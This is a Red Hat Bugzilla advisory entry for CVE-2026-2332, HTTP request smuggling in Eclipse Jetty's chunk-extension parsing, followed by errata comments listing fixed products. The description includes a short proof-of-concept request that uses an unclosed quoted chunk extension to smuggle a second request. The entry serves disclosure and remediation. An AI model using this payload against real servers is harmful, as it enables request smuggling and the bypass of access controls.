Bug 2458187 (CVE-2026-2332) - CVE-2026-2332 org.eclipse.jetty/jetty-http: HTTP request smuggling via chunked extension quoted-string parsing
Summary: CVE-2026-2332 org.eclipse.jetty/jetty-http: HTTP request smuggling via chunke...
Keywords:
Status: NEW
Alias: CVE-2026-2332
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
high
high
Target Milestone: ---
Assignee: Product Security DevOps Team
QA Contact:
URL:
Whiteboard:
Depends On: 2458713
Blocks:
TreeView+ depends on / blocked
 
Reported: 2026-04-14 12:01 UTC by OSIDB Bzimport
Modified: 2026-08-04 16:07 UTC (History)
94 users (show)

Fixed In Version:
Clone Of:
Environment:
Last Closed:
Embargoed:

Attachments (Terms of Use)


Links
System ID Private Priority Status Summary Last Updated
Red Hat Product Errata RHSA-2026:17668 0 None None None 2026-05-14 16:55:51 UTC
Red Hat Product Errata RHSA-2026:20568 0 None None None 2026-05-26 01:47:37 UTC
Red Hat Product Errata RHSA-2026:22453 0 None None None 2026-06-02 11:27:16 UTC
Red Hat Product Errata RHSA-2026:50222 0 None None None 2026-08-04 15:56:53 UTC
Red Hat Product Errata RHSA-2026:50223 0 None None None 2026-08-04 15:59:06 UTC
Red Hat Product Errata RHSA-2026:50263 0 None None None 2026-08-04 16:07:43 UTC

Description OSIDB Bzimport 2026-04-14 12:01:29 UTC 
In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the "funky chunks" techniques outlined here:
  *  https://w4ke.info/2025/06/18/funky-chunks.html

  *  https://w4ke.info/2025/10/29/funky-chunks-2.html


Jetty terminates chunk extension parsing at \r\n inside quoted strings instead of treating this as an error.


POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked

1;ext="val
X
0

GET /smuggled HTTP/1.1
...





Note how the chunk extension does not close the double quotes, and it is able to inject a smuggled request.
Comment 3 errata-xmlrpc 2026-05-14 16:55:45 UTC 
This issue has been addressed in the following products:

  Red Hat build of Apache Camel 4.18.1 for Spring Boot 3.5.14

Via RHSA-2026:17668 https://access.redhat.com/errata/RHSA-2026:17668
Comment 4 errata-xmlrpc 2026-05-26 01:47:32 UTC 
This issue has been addressed in the following products:

  Red Hat Enterprise Linux 9

Via RHSA-2026:20568 https://access.redhat.com/errata/RHSA-2026:20568
Comment 5 errata-xmlrpc 2026-06-02 11:27:11 UTC 
This issue has been addressed in the following products:

  Red Hat Build of Apache Camel 4.18 for Quarkus 3.33

Via RHSA-2026:22453 https://access.redhat.com/errata/RHSA-2026:22453
Comment 7 errata-xmlrpc 2026-08-04 15:56:49 UTC 
This issue has been addressed in the following products:

  Red Hat Satellite 6.17 for RHEL 9

Via RHSA-2026:50222 https://access.redhat.com/errata/RHSA-2026:50222
Comment 8 errata-xmlrpc 2026-08-04 15:59:00 UTC 
This issue has been addressed in the following products:

  Red Hat Satellite 6.16 for RHEL 8
  Red Hat Satellite 6.16 for RHEL 9

Via RHSA-2026:50223 https://access.redhat.com/errata/RHSA-2026:50223
Comment 9 errata-xmlrpc 2026-08-04 16:07:37 UTC 
This issue has been addressed in the following products:

  Red Hat Satellite 6.18 for RHEL 9

Via RHSA-2026:50263 https://access.redhat.com/errata/RHSA-2026:50263
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